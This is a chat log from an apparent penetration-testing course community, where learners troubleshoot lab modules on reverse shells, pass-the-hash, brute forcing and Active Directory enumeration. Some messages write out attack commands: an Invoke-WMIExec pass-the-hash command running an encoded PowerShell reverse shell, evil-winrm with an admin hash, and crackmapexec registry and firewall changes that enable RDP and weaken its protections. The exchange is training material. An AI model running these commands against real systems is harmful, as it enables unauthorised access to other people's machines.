modules

[dim wolf]

python3 pty

[fathom pendant]

instead of the actual terminal interface it's passed through a separate interpreter

pty - pseudo tty

[dim wolf]

yes

[fathom pendant]

https://stackoverflow.com/questions/4426280/what-do-pty-and-tty-mean

it's not limited to just python3

[dim wolf]

yeah you can do it with other interpreters

[fathom pendant]

it can be done with perl, ruby, and other languages

[calm abyss]

i tried that, but it didnt upgrade. But ok, i know what to do better. Talk to you tomorrow guys

[calm abyss]

i got the last flag. I took a cigarette break and did some google search and it worked

thanks guys for the help ❤️

[calm abyss]

python3 worked for me

[fathom pendant]

ah then it's likely due to the fact there were no env variables initialized

which when you drop into a pty/tty it initiates them

[calm abyss]

but i learned something new, and corrected my approach.

[thorn hawk]

hey locos. I am at the final exercise of file upload. Have identified most aspects of the vulnerability. The only thing I miss is where this is uploaded. I have been checking the script.js and the upload.php. In script.js we have many aspect of checking the file but doesn't indicate how the upload files are named or where they are stored. I think the code of upload.php should be accessed to find this but i can't find a way to see that code. Any hints are welcome thank you loads.

[shut quest]

What in the module can be done to view files?

[thorn hawk]

yeah 🙂

i just went and fetch that file through xxe

[hexed lintel]

In password attack assessment do we need to use the pw-attacks resources
and is the assessment linked to previous exercise( like usernames) of the module

[thorn hawk]

it seems that the txt flag doesn't really exist. trying to use in a PHPBASH interactive shell with a find command for txt files and it doesn't find none. When i do though ls -la on the first folder i am in I can see the files but when going to cd / nothing is appearing

[shut quest]

Yes, including the mutated password list

[fathom pendant]

you can sometimes find it in early parts of rockyou

as well

but start small --> big

[fathom pendant]

the assessment is not linked to the sections in terms of the usernames/passwords on them

[hexed lintel]

oh, ok

[shut quest]

I read that as needing resources, no user accounts/passwords are the same / linked together from other sections

[haughty tree]

I'm pretty sure that at some part in that module they ask you to use credentials you found like 2 or 3 sections before

[shut quest]

I did it manually according to my notes

[thorn hawk]

better php webshell rather than PHPBASH interactive?

I am doing it also manually i think

[shut quest]

Yes, you needed to keep track, but the assessment does not follow other than the mutated list

[fathom pendant]

that's for the sections themselves, the skills assessment is a separate environment

[shut quest]

just a vanilla php web* shell

[burnt owl]

Could I pick someones brain about AEN. I am got done doing the Initial Access but was wondering the tool that you use for the initial shell. How was I suppose to figure that out? Because the walkthrough instantly goes to that tool but I don't get why.

[fathom pendant]

many people do AEN blind

[burnt owl]

Yeah thats why I try to keep it vague

[fathom pendant]

if you don't understand why a tool is used, then I suggest reviewing the module that would be relevant to that tool

as the module itself is the walkthrough

[burnt owl]

I am trying to figure out how I was suppose to come to that conclusion

[fathom pendant]

well then maybe you aren't ready

¯_(ツ)_/¯

examine all enumeration you've done

[haughty tree]

Oh for the assessment yeah

[burnt owl]

But how would you have come to that conclusion to use that tool?

[thorn hawk]

thank you amigos for the hints. you are awesome

[fathom pendant]

i haven't done the module myself, but i'm telling you: the reason a tool is used is because some part of your enumeration told you to use that tool

so if you don't have notes or something that would lead you to use a tool

[marble island]

Hello folks, i'm doing the password attacks module on the Pass the Hash (PtH) session, there i a question "Using Julio's hash, perform a Pass the Hash attack, launch a PowerShell console and import Invoke-TheHash to create a reverse shell to the machine you are connected via RDP (the target machine, DC01, can only connect to MS01). Use the tool nc.exe located in c:\tools to listen for the reverse shell. Once connected to the DC01, read the flag in C:\julio\flag.txt. " i have no clue of what i have to do, i even went to the solution but was unable to complete the challenge, what i am supossed to do more or less?

[fathom pendant]

re-evaluate your notes and enumeration tactics

as many treat AEN as a mock exam, there's going to be a reluctance to assist

[shut quest]

Keep things simple

[potent thorn]

Has anyone done the Exploiting Web Vulnerabilities in Thick-Client applications section in the Attacking Common Applications module? I just wondered if other found it incredibly difficult? Like I feel like this section assumes that I just know how to read java script and seems to go a million miles an hour with decompiling tools that have never been introduced before? Just feels like a super rushed section in my opinion. did anyone else struggle or just me?

[thorn hawk]

Amazing exercise. You need to combine 2 hacks to reach the goal

[fathom pendant]

this is the most common take on that section

[marble island]

btw im still waiting for help im lost af

[fathom pendant]

What exactly have you done?

did you perform the steps outlined?

[marble island]

I followed the solution

[potent thorn]

Genuinely feel like my confidence just got destroyed lol. good to know its not just me then

[fathom pendant]

from what you said you haven't tried anything or aren't giving enough info for us to help you

repeating the question isn't really helpful in determining where the error lies

have you tried switching to a different VPN

and trying the same steps again

[marble island]

Yes it is not an issue with the vpn

[shut quest]

You will want to provide more detail, if any thing is a spoiler like a user name you can just use j* and ayone that has completed it will know what you mean

[marble island]

I don't understand what i am more or less suposed to do

[fathom pendant]

i just remember doing the steps as shown in the section and it worked

[dim wolf]

based off of enumeration of the machine

[fathom pendant]

the section itself details using PTH and shell catching ¯_(ツ)_/¯

[dim wolf]

there are plenty of ways to get in. https://www.revshells.com/

[fathom pendant]

and if you said you followed a guide it sounds like you didn't fully read the section

also; using anything other than the module or the provided walk-through if you're an annual sub is cheating

since the Password attacks module is tier 1

as stated by the section; you need to use the nc binary in C:\tools; then generate the revshell using the Powershell #3 64 option

[marble island]

"Using Julio's hash, perform a Pass the Hash attack, launch a PowerShell console and import Invoke-TheHash to create a reverse shell to the machine you are connected via RDP (the target machine, DC01, can only connect to MS01). Use the tool nc.exe located in c:\tools to listen for the reverse shell. Once connected to the DC01, read the flag in C:\julio\flag.txt. " So i went to the machine's ip, got a shell using evil-winrm using the Administrator hash to and executed a command that allows me to rdp on using Julio's hash, and in the Julio's rdp session opened powershell, imported the module Invoke-theHash , opened another powershell on the Julio's rdp session and started a nc listener, went to revshells.com and created a payload, and then went to the powershell that i have ran the Invoke-TheHash module and ran "Invoke-WMIExec -Target DC01 -Domain inlanefreight.htb -Username julio -Hash 64f12cddaa88057e06a81b54e73b949b -Command "powershell -e PAYLOAD" and nothing happens. Am i mission som?

[fathom pendant]

do you have the revshell payload set to that machine's proper interface to connect to

[marble island]

Hope that this isn't confusing

[fathom pendant]

also you don't need to continually repeat the question

[marble island]

Ok sorry

[fathom pendant]

the ip you should be using for the revershe shell should be a 172.16.x.x ip

not the 10.129.x.x ip

[marble island]

AH here is the kicker uh

[fathom pendant]

also redact the hash as it's part of the section questions

you're trying to tell DC01 to connect to an interface it doesn't have

if you tried to have it connect to the 10.129.x.x

(basic networking)

[marble island]

Okay sorry

I believe that if i read the thing right i would be able to do that right?

[fathom pendant]

ipconfig should give you the interfaces

[marble island]

So lemme understand, this is an active directory lab right?

when i tell it to spawn the target, it spawns a AD setup

[fathom pendant]

it should, yes

the internal network has its own set of interfaces

[marble island]

And the ip address 10.129.34.105 (the one that is spawned) there is multiple instances inside it

Okay got it

[fathom pendant]

that aren't directly accessible via the tun interface

[marble island]

Now i understand

I'm still confused tho, why cant i just use the rdp session that i got as the Julio user abd read the file in C:\julio\julio.txt

[fathom pendant]

because

different machine entirely

MS01 != DC01

the machine you rdp into is MS01

they want you to create a connection to DC01

[marble island]

Wait, so if can rdp as Admin i would be able to see the julio.txt flag

So this question is for us to learn how to get a shell on the domain controler as one of the domain users

[fathom pendant]

no

the point and layout

your attack machine --> MS01; which has multiple interfaces --> DC01; which only has one interface for MS01 to connect with

[fathom pendant]

yes

RDP could be disabled on DC01

@urban fable we're somewhat beyond that point, and trying to get at the underlying learning

the learning portion is grabbing a shell on DC01

[marble island]

Alright now i makes sense. ill take a break and then i will try again with this new understanding. Thank you very much, your knoledge is on point. Lots of admiration for you.

[fathom pendant]

basic networking goes a long way ¯_(ツ)_/¯

and understanding that the interface you connect to DC01 with, isn't the same that you connect to the target with

[thorn hawk]

what an amazing link is this

[fathom pendant]

would you be surprised that several modules link to this very site?

almost like it's a much easier way to get revshells than manually remembering and writing out every single syntax

[thorn hawk]

Yes this is advance notes on the go

[dim wolf]

<@&861185840277487616>

[thorn hawk]

Very good question. But I dont think somebody will understand the purpose of your question

[fathom pendant]

LMFAO

[dim wolf]

bro

[fathom pendant]

@dim wolf did you catch the split second?

[dim wolf]

yea that was funny af

[fathom pendant]

god i love skids sometimes

[fathom pendant]

ftp ip
enter username: anonymous
please enter your email as password: [enter]

[solid quarry]

No new module today?

[fathom pendant]

They can only work so fast

[solid quarry]

Yep, was expecting a red team cert or a new windows / ad today, no problem

[shut quest]

I would expect some time in Oct for it

[fathom pendant]

plenty to eat from

[solid quarry]

Finished all the ad modules lol

[fathom pendant]

deploy your own insecure AD lab and hack that in the mean time

[solid quarry]

Would you belive If I said that I have one?

Every attack on academy I replicate on my lab

[fathom pendant]

nice!

now go for an azure lab

Azure does have a free tier btw

[solid quarry]

Good ideia, maybe after a O$CP

[thorn hawk]

how do you do that :D?

you install the same setup ?

[solid quarry]

nope, I have 64gb RAM and 2tb ssd for my lab, I have 3 dcs and 3 workstations, of course I just spin up the machines that I need for a specific attack, let's say, spn hjiacking which was not part of my lab, I read the attack on htb, check some posts about the attack and make the domain vulnerable to the attack

[thorn hawk]

Nice

[haughty tree]

Sometimes the server connection is so buggy that SSH just becomes unresponsive every like 30 seconds, is it just me? It's a bit annoying to do a lab like that lol

[fathom pendant]

try changing vpn regions

¯_(ツ)_/¯

[haughty tree]

I tried

I think I'll just hop off for the day

[verbal dagger]

question on the shells and payloads. my browser on the rdp session keeps reseting when i upload a war file on the tomcat site, and the zip on the status page. the page works as it should when i upload the wrong file, i get a wrong file error, but reset when i upload the one it asks for. following hacktricks manual from rce down the list. just need a nudge and not sure why i got the browser reset error.

[fathom pendant]

change the vpn region

could be as simple as that

change vpn region, reset target, try again

also don't need hacktricks rce

the module provides an msfvenom revshell payload

(it's in the cheatsheet, you'll just need to adjust the IP/PORT

for LHOST/LPORT

[marsh fulcrum]

Hey, can you give me a help with this module also? I know what the password is and I've been testing why my methods to brute force was not working but can't figure out why, the Task specifies something about anti-Csrf and modify my script to send such token, but I don't see this token also

[proven viper]

nvm it just spawned. weird

[acoustic owl]

Broken Auth?

[marsh fulcrum]

Yeah

[acoustic owl]

Section? Bruteforcing Passwords?

[marsh fulcrum]

Yep

[acoustic owl]

||You have to find out the password rules and then filter the password list accordingly||

[marsh fulcrum]

||I've found it, made the list shorter, and I know the password, confirmed it visiting the site, but wanted to know why ffuf or wfuzz both didn't work to find the password, they both gave the same response as the wrong ones but I don't know why ||

[acoustic owl]

send the passwords (any password) in the browser and see what happens

Then you know why the tools don't work

[verbal dagger]

this was the solution. thank you, i got it. really was that simple...

[flat parrot]

||I'm stuck in password cracking, password mutation , with sam help ?||

[fathom pendant]

Don't attack ssh

[flat parrot]

||I scan the ports.. so I have 21, 22, 139/445. I tried with ftp scan, ssh scan, smb scan, winrm scan (both with nxc). 😢 I'm using the custom.rule and generating the password with "password" word. damn.||

[marsh fulcrum]

I don't get it, I get invalid credentials when wrong and ||welcome|| when right, like the other questions with ||wfuzz the --hs 'Welcome'|| worked, I don't understand why it doesn't at this one

[fathom pendant]

Mutate the provided password list with the provided custom.rule

The mutated wordlist should be 94k words

[flat parrot]

I'll try that, ty

[fathom pendant]

This is the direct instruction told to you by the section

[acoustic owl]

send me a dm

[fathom pendant]

You don't gotta spoiler your whole text dude and don't use that word even "masked"

The fact you masked it means you understand it's a negative word

[flat parrot]

ty!

[flat niche]

Hi, I am on Windows Privilege Escalation Skills Assessment - Part II. I am trying to exploit CVE-2020-0668. I have executed CVE-2020-0668.exe with a successful output (exactly the same as in the module kernel exploit). But I still cannot get permission to write the maintenanceservice.exe. Can anyone give me some hints?

[slender halo]

The window fundamentals course shows deprecated wmic

[fathom pendant]

Wmic still works

¯_(ツ)_/¯

[slender halo]

Just seems not productive to learn deprecated things 😂

Won't work on Arm devices

[rustic sage]

Hello all. I am working on sql injection fundamentals, and I am stuck on the subverting query logic section. I was able to successfully login with the username and using injection on the password, but I am not see any flag. It just says I have logged in successfully and there is a link to try again which just resets the login page.

I thought the flag would show when i got the successful login, but no luck. Any hints on what I am missing?

[flat niche]

I just found that even the output is normal, but the CVE wasn't copying the file. It's a liar

[rustic sage]

nevermind. I was overthinking it.

[fathom pendant]

You'd be surprised how many devices still run "deprecated" hardware/OS

[flat niche]

I finally managed to exploit another vulnerability, but I am still curious about why the CVE-2020-0668.exe lied

[fathom pendant]

<@&861185840277487616>

Seems like some clever work around of the filter

Since both those words should be banned and autoremoved

[wanton idol]

turns out im not as prepared as i thought i was for the aen 😭 time to hit the books again

(compromised the domain)

[woven stone]

in Stack-Based Buffer Overflows on Linux x86 : Having a very difficult time understanding this. Are there any suggestions?

I watched a lot of videos about computer architecture and assembly language, but I did not understand the topic well. It takes a lot of time

section .data
        num DD 5
section .text

global _start

 _start:
        MOV eax,1
        MOV ebx,[num]
        INT 80h

I was inspired to write this simple program, but I don't really know what it does. I just memorize the code

What if you change some things?

section .data
        num DD 5
section .text

global _start

 _start:
        MOV ebx,1
        MOV ecx,[num]
        INT 80h

The code will work without any error

[spark charm]

guyssssssssssssssss vpn academy is lagginggggggg what i do

anyy helpppp please im done

[valid viper]

What do you not understand?

[wanton idol]

change vpn to a eu server

[woven stone]

ebx if I changed to edx in the code Nothing happened

And when I used gdb

[valid viper]

General registers
As the title says, general register are the one we use most of the time Most of the instructions perform on these registers. They all can be broken down into 16 and 8 bit registers.

32 bits : EAX EBX ECX EDX
16 bits : AX BX CX DX
8 bits : AH AL BH BL CH CL DH DL

Just another register of the same time and the same size.

Change it to bx and see what happens.

gdb where?

Instead of DD?

[woven stone]

Thank you, I understand now

What is the best source for learning assembly language?

What do you advise me to study before assembly language?

[woven stone]

It doesn't matter, I understood what I needed thx 💚

[valid viper]

x86?

[woven stone]

Yeah

[valid viper]

ARM is more timely.

Send me a DM and when I get home I'll send you my bookmarks.

But yes, assembly is the most important language to know as a hacker, in my opinion.

[woven stone]

Should I start with it or 64

[valid viper]

It's underneath everything, and no one ever bothers to look at it 😉

x86, in my opinion.

[woven stone]

Okay bro thx 💚

[valid viper]

pwnable.kr is a good place for assembly CTFs.

In terms of learning assembly, I'd suggest learning RE.

[woven stone]

Nice 👍

[valid viper]

When you pair the language with an activity, you're more motivated to learn.

begin.re

[woven stone]

Thx ☺️

[valid viper]

Sure, I have more stuff on my laptop. Add me and ping me in a couple hours.

[short trellis]

I need some help with Question - Connect via RDP with the Administrator account and submit the flag.txt as you answer. in the module ATTACKING COMMON SERVICES - attacking RDP. added the disabled reg key and try to login and get logon failures.

[valid viper]

Are you using TCP or UDP VPN?

[woven stone]

Okay done

[valid viper]

Sweet. Yeah assembly is amazing. You have good instincts.

[woven stone]

😅😅thx

[valid viper]

Yep.

[short trellis]

UDP

[woven stone]

Use tcp

[valid viper]

Try switching to TCP.

Yeah.

[short trellis]

okay will do..ty.

[valid viper]

If that doesn't work, come back 😛

[fallen tusk]

Hi everyone. I'm in Windows Attacks and Defense, Object ACLs module. I've set a new SPN and also changed password for anni's account, but there is no Security event 4738 (User account was changed). Why might this be?

Edit: I've resolved this now. I was viewing security event logs on the local machine (WS001), but instead needed to view them on DC1 (I RDP'd there with htb-student credentials mentioned in the kerberoasting sub-module). I believe this is because the DC processes all changes to AD objects (e.g. accounts).

[short trellis]

I am back...I still get - SPNEGO received NTSTATUS: STATUS_LOGON_FAILURE [0xC000006D] from server, when trying to login with pth for RDP.

[valid viper]

Did you put the disabled reg key in the right place?

[woven stone]

Screen !!!!

[foggy temple]

Hey! Having some issues on the FFUF module, specifically the section about sub-domains. ||I don't get any sub-domains at all from inlanefreight.com. I've tried with both Pwnbox and my own Parrot VM. I've also tried with Gobuster to check if it was an issue with my FFUF command. I basically tried copy-pasting the command used as an example in that very same section: (ffuf -w /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u https://FUZZ.inlanefreight.com/) and I get no result. With Gobuster the only domain found was www.inlanefreight.com, but that was with a different wordlist||. Did Inlanefreight change since this module was written?

This module btw: ||https://academy.hackthebox.com/module/54/section/488||

[cloud urchin]

try with FUZZ instead of lowercase

[foggy temple]

I think Discord converted it to lower when it detected it as a URL. It's uppercase in my clipboard

[cloud urchin]

I just tested myself and got the answer within 10 seconds. Are you running this command on the pwnbox or a vm?

[foggy temple]

I've tried both. On Pwnbox I did notice that every time I run ffuf on inlanefreight I start getting timeouts afterwards if I try access it through firefox, so I guess pwnbox is no good. I read somewhere in this channel that it would be caused by pwnbox's Internet traffic limitations.

On my VM (Parrot) The wordlists are a bit different, so I wonder if maybe that's a relevant difference. I've been trying with ||/usr/share/wordlists/dnsmap.txt||. I think that was preinstalled(?)

[cloud urchin]

so you didn't actually use the command you just showed?

[foggy temple]

From pwnbox I did

[cloud urchin]

try it from your vm

use subdomains-top1million-5000.txt

just like the module shows

[foggy temple]

Yeah will do, just gotta grab the SecLists. Don't think they're preinstalled on Parrot

[dim wolf]

iirc they are

might be mistaken though

[cloud urchin]

there are multiple versions of parrotos. the regular one comes with no security tools at all.

looks like the security version also doesn't include seclists

[foggy temple]

Not in /opt/useful/ like on pwnbox at least. And not in /usr/share or /usr/share/wordlist either Afaik these are all I had by default

[cloud urchin]

Parrot S

[foggy temple]

Yeah my VMware was lagging when I was running Kali sadly So Parrot it is

[short trellis]

Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa

[valid viper]

I love the way Parrot looks, but it's not reliable yet.

[valid viper]

@cloud urchin is this the right directory?

[cloud urchin]

That's the registry key that configures the RestrictedAdmin setting

[foggy temple]

Thanks! It worked within seconds now Didn't think the two wordlists would make that huge difference

Both aimed at subdomains after all

[valid viper]

Where's he screwing up? Did he forget to delete the old one?

[cloud urchin]

well his error is saying login error

it could be something completely unrelated

[valid viper]

FFuF... You climbing CPTS mountain?

[valid viper]

True.

[cloud urchin]

What command are you using to connect with rdp

[foggy temple]

Haha nah just hobby, and really just a beginner. Just trying to do some bit of Academy every week to keep learning

[valid viper]

Welcome to the party.

Do the CPTS. I promise you'll have fun... That or get obsessed with popping boxes 😛

[short trellis]

xfreerdp /v:10.129.220.125 /u:administrator /pth:xxxxxxxxx /cert-ignore

[cloud urchin]

what module

[valid viper]

Add /dynamic-resolution

It won't fix your connection, but it's awesome.

[short trellis]

Attacking RDP - Attacking Common services

[short trellis]

okay, SPNEGO received NTSTATUS: STATUS_LOGON_FAILURE [0xC000006D] from server

[next bronze]

logon failure usually means the creds are wrong, make sure you have entered the right ones

[cloud urchin]

ok yeah, the module goes over this reg key specifically actually

[short trellis]

reg key should be good, maybe its the hash

[valid viper]

Can he post the hash?

[fathom pendant]

Also

[valid viper]

He might have grabbed the wrong part of it.

[fathom pendant]

Maybe

Just the first 2 letters are enough tbqh

[short trellis]

pth:30

[fathom pendant]

Yeah that doesn't look right

You grabbed the hash from the file on the desktop?

It looks like you just copy/pasted the example command

[gusty zinc]

Hi - having some trouble with Footprinting lab (easy) and it looks like maybe the writeup details are possibly innaccurate

[cloud urchin]

module doesn't really cover it and i've ran all this stuff on some boxes which does enable rdp, but i think sometimes the boxes have some auto-logoff script because sometimes it'll connect then boot me out. ```CME module:
sudo crackmapexec smb <ip> -u user -p password -M rdp -o ACTION=enable

Disable RestrictedAdmin (allows admins to remote in):
sudo crackmapexec smb <ip> -u user -p password -x "reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f"

Enable RDP from CMD:
sudo crackmapexec smb <ip> -u user -p password -x "reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f"

Disable NLA:
sudo crackmapexec smb <ip> -u user -p password -x "reg add "reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f"

Allows remote administrative traffic through the Windows Firewall:

netsh firewall set service remoteadmin enable

Allows Remote Desktop traffic through the Windows Firewall:

netsh firewall set service remotedesktop enable```

[fathom pendant]

Nah writeup isn't innacurate, tbh it's just that ||DNS|| isn't required

[fathom pendant]

His error is wrong hash

[cloud urchin]

yeah, i didn't think it was an RDP thing

still good info for people

[gusty zinc]

for the step i'm on, the writeup says to check the lab HINT for the answer (which isnt there)

[fathom pendant]

There's an explicit hash given in the special document on the desktop of htb-student

[short trellis]

pth:0E

[fathom pendant]

What step are you on?

[fathom pendant]

Did you try it and see, or are you asking me

[gusty zinc]

I've enumerated and know the internal host I'm supposed to connect to, but there is no indication as to how you are supposed to find the user and creds to login with

@fathom pendant

[fathom pendant]

OHHHHH

[short trellis]

I am closer now...now I see registry key is problem, no longer login issue.....I got the flag...thank you.

[fathom pendant]

I know exactly what you're referring to

The creds used to be in the hint

Then they gave it explicitly in the readout for the assessment

ceil

[short trellis]

I am good now, I get denied but I see splash page now that says login restricted so I will look at my registry keys..thank you.

[fathom pendant]

Gotta log in via win-rm to be able to remove it and have the right privs too

Good shout @gusty zinc

[gusty zinc]

: ) Presumably needs updating I assume? If a user doesnt have the paid sub they'd be hard pressed to get in without brute forcing

[fathom pendant]

no they wouldn't

read the lab intro

Additionally our teammates...

[gusty zinc]

ah shoot your right

[fathom pendant]

😉 reading the synposis of the engagement helps

[gusty zinc]

https://tenor.com/view/doh-homer-simpson-facepalm-face-palm-oops-gif-4232719564739845509

[fathom pendant]

it also helps identify keywords that might otherwise get you stuck

[gusty zinc]

thank you non the less

[fathom pendant]

no problem

and I submitted to #1234357888114364508 as it's still an error in the Walkthrough

[gusty zinc]

Nice

[fathom pendant]

it's likely that a bulk of the walkthroughs were written prior to some updates

because the hint change has been out there for like.... at least half a year now

if not longer

I remember being in the same boat when it was the harder version

like "how was i supposed to figure this out" and revisiting once I learned techniques from a later module

[valid viper]

How do I scan a network quietly? NMap is too loud.

[cloud urchin]

nmap lol. just different settings

[fathom pendant]

^

-Pn --disable-arp-ping -n

disables ICMP ping, ARP, and reverse DNS lookup

[fathom pendant]

another general tip;
always look for everything, enumeration is a cyclical process

[granite idol]

I'm wracking my brains trying to workout where I'm going wrong with Burpsuite in the "Using Web Proxies" module. Everything seems fine with configuring foxyproxy and setting up the portswigger CA in firefox but then it seems like I'm doing something with trying to get it forwarding the right way once I have interception turned on. I've noticed that Burpsuite's chromium browser doesn't seem to change and I'm not sure if it's meant to navigate to the ip and port if that makes any sense.

I've tried doing the ip=;ls; command but whatever it's doing, it isn't giving me the lists of .txt documents it should be. Apologies if I'm being quite vague I'm just having a hard time putting my finger on whats going wrong.

[wet finch]

Could I get some assistance with ACTIVE DIRECTORY ENUMERATION & ATTACKS - Living Off the Land please?

For the last question
Utilizing techniques learned in this section, find the flag hidden in the description field of a disabled account with administrative privileges. Submit the flag as the answer.
I was able to get the answer with
||dsquery * -filter "(adminCount=1)" -attr sAMAccountName description|| however that just gave me a list of all admins & their description, thus giving me the flag. How am I supposed to find the answer properly? There's nothing in my solution that specifically finds a disabled account and my attempts to use combined filters have all failed.

[cloud urchin]

there are many different ways to do it

the module provides a link to wmic queries which i believe you can also use

[wet finch]

well, attempting it with the hint would mean using dsquery and ldap

[cloud urchin]

i guess it also talks about it itself in the module

[wet finch]

I can easily get a list of disabled users, I can get a list of admins, I'm struggling with getting a list of disabled admins

[cloud urchin]

it gives net commands too

did you try ((&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=2)(memberOf=cn=Administrators,cn=Builtin,dc=yourdomain,dc=com)))

[wet finch]

returns nothing

I tried a number of queries that individually they both worked, but when combined they would give nothing

[cloud urchin]

did you modify the dn etc

maybe remove the category too

(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=2)(memberOf=cn=Administrators,cn=Builtin,dc=yourdomain,dc=com))

[wet finch]

Okay, I completely went back & made it as simple as I possibly could and got ||dsquery * -filter "(&(userAccountControl:1.2.840.113556.1.4.803:=2)(admincount=1))" -attr sAMAccountName description|| that finally gave me the correct output.

[cloud urchin]

ez

[wet finch]

I feel as though I tried that already, but I must have had a typo somewhere or something. Ty for the input

I spent way too much time trying to find a flag I already found... lol

[cloud urchin]

you say that like it's a bad thing. you're learning new stuff and knowing how/why it works is really important. i spend time on modules i've done like that too.

[wet finch]

Yeah, if I wanted to finish this quickly, I could. I'm trying to actually learn and understand everything, as finishing the path isn't the goal. Gaining the skills and knowledge is.

[heavy marsh]

Anyone have a workaround for the Windows Privilege Escalation Module's Windows Built-in Groups section, specifically this portion?

I covered the issue with the target environment in erratum just now, but I wanted to see if anyone has found a way to complete this technique with a workaround.

Already got the flag and reported it, so if not, I guess it's not a huge deal for now, just frustrating that I can't practice all of the methods.

[tacit stump]

is there anyone who completed this module i need help with it in the skills assessment area "Login Brute Forcing" https://academy.hackthebox.com/module/57/section/515

[cloud urchin]

what do you need help with

[tacit stump]

i need help in bruteforcing to the login panel

[cloud urchin]

go on

[tacit stump]

i got through the first one and i'm stuck in the second panel

this is the code i used

but i keep on gettin random passwords

this is the skills assesment

[cloud urchin]

you should probably delete that command

send me a DM

[jagged prairie]

anyone else had their academy progress reset after that SSO migration?

[hexed lintel]

you should contact support team

[jagged prairie]

yeah I am. just wondering if anyone else experienced that

[hardy osprey]

Hello team 🙂

i have a probleme with ths openvpn config.
i can get an anwers from the target .

it's from a wsl ubuntu config

[cloud urchin]

what module

[hardy osprey]

linux fonda

when i do it from the same openvpn config but whit my laptop kali i dont get this problem

only from the wsl

[cloud urchin]

yeah wsl kinda sucks

[hardy osprey]

strange

[timber hatch]

INTRODUCTION TO WINDOWS EVASION TECHNIQUES / Introduction, the credentials given to connect to the windows host seems not to work.

[cloud urchin]

which section

[timber hatch]

Introduction

never mind

[cloud urchin]

works for me

[timber hatch]

yeah works now

[cloud urchin]

let me guess quotes around the password

[timber hatch]

no...i used the normal xfreerdp /v:<target IP address> /u:<ussername> /p:<password>, which does not work, but this given in the module works: xfreerdp /v:[IP] /u:[USERNAME] /p:'[PASSWORD]' /dynamic-resolution /drive:linux,/tmp

[cloud urchin]

yeah quotes lol

[timber hatch]

no

[cloud urchin]

the first command that doesn't work doesn't have quotes around the password, the second one does

it's the quotes

[timber hatch]

no😂

[cinder mortar]

For attacking authentication mechanisms under SAML signature wrapping attacks, after i remove ds:signature node, i keep getting a Invalid SAML Response. Not Authenticated error. any help

[cloud urchin]

It is the quotes.

[timber hatch]

ah wrong quotes...

[cloud urchin]

dynamic resolution just gives you exactly that, dynamic resolution, and the drive argument shares a folder path

[timber hatch]

but i used them before....

ok you are right

[cloud urchin]

you probably used double quotes instead of single

[timber hatch]

but double quotes also work sometimes no?

[muted kindle]

If you have special characters like !? In the password its best to use single quotes

[cloud urchin]

i think it depends on the characters inside them

[muted kindle]

Literal strings

[timber hatch]

alright. my bad. you were total right 😉 But I really think that I've never had any problems with double quotes so far...

[muted kindle]

if u wanna continue with double you’d have to escape them manually
password\!\!\?

[cloud urchin]

yeah probably because of the password, if it didn't have $ and ! double quotes would probably work

[north bramble]

Hello, I am stuck on Login Bruteforcing, skills assessment, website part, question 2. everytime I bruteforce the password, it gives me a different answer, I am unable to login to the admin panel

[cloud urchin]

You should probably delete that pic just in case, but you need to ensure you've enumerated what you're attacking correctly

[north bramble]

uh, I am sure about the username, its from the previous question.

my issue is that its giving me a positive for multiple passwords, none of which work.

[fiery berry]

what is that "clear" at the end of the command?

[cloud urchin]

You have not enumerated correctly because your command is off

[north bramble]

uh wait

[timber hatch]

no it works on other modules 😉

Now I really thought I was crazy...haha

[north bramble]

typo I guess because I cleared the outputs from before.

[north bramble]

I see. I have removed the clear and it still doesnt seem to work. let me try a couple times

[cloud urchin]

verify your command against the target

it wasn't the clear part

[fiery berry]

cause you need to "enumerate" better, did you check all the parameters? Are they correct?

[cinder mortar]

Bump

[north bramble]

I think I see my mistake now. Looks like I hadnt understood clearly what you or the module meant by enumerating parameters. let me see if it works. thanks

[north bramble]

thanks. it worked. I have understood what I did wrong.

[sacred gull]

When using ffuf for subdomain enumeration, all results return with 403 Forbidden?

[bright coral]

No, not necessarily. Depends on the webserver / web application you're enumerating.

[sacred gull]

Sorry, I meant against my own setup. Why does it return 403 forbidden?

[bright coral]

Because you configured it like that? Considering it's your own setup 😉

[sacred gull]

Is it default? When i try to access it inside a web browser it just says not found but when using ffuf it returns all results with 403

[bright coral]

That's impossible to answer without knowing what you are using and how you've configured it.

[sacred gull]

Oh okay, no worries. Wondered if it was something I was doing wrong with ffuf

I'll deep dive into the config

[marble island]

Hello i'm doing the password atacks mudule on the pass the hash section

We don't have access to the domain controler, and if you try to rdp into the target using the hash it logs you out.

So you need to get a winrm session , execute a command that allows you to use rdp using the hash

My question is, if we don't have access to the domain controler, how can we get a winrm session using "evil-winrm -i 10.129.201.126 -u Administrator -H 30B3783CE2ABF1AF70F77D0660CF3453" and execute "c:\tools> reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f" (to be able to login in xfreerdp using the hash) and that actualy changes something?

Didn't we have to execute that in the domain controler?

As far as i know we are executing the command to disable "DisableRestrictedAdmin" to 0 to allow us to login via rdp using the hash, but since we don't have access to the domain controler how is that possible?

[regal jewel]

I had same problem, I managed to complete it on PwnBox instead of VirtualBox.

[cinder mortar]

For attacking authentication mechanisms under SAML signature wrapping attacks, after i remove ds:signature node and injecting my assertion node, i keep getting a Invalid SAML Response. Not Authenticated error. any help?

[bright coral]

This is a setting for the client you want to connect to and not a "global" setting.

[marble island]

But i execute the command to allow using the hash to login with rdp as the administrator user not julio

[marble island]

Not running kali bare metal? what a script kiddie

[bright coral]

So what? If julio had the access rights to modify that key, you could set it with julio as well

[marble island]

But i set it as the administrator user not julio

Isn't julio only a domain under the domain controler? How can i be that a i set the command that allows you to access rdp using the hash as the Administrator user on a diferent domain?

[bright coral]

No... julio is not a domain. That's beside the point anyway...
If you want to RDP into the target with the (local) administrator hash, you have to set the key. The domain is not relevant for this part.

[vast bolt]

hello, i got a probleme with the login brute force module, am in the last section. Hydra take too much time or dont work can someone help me?

[marble island]

More details please

So i had a similar problem

My computer is trash, so i used pwnbox

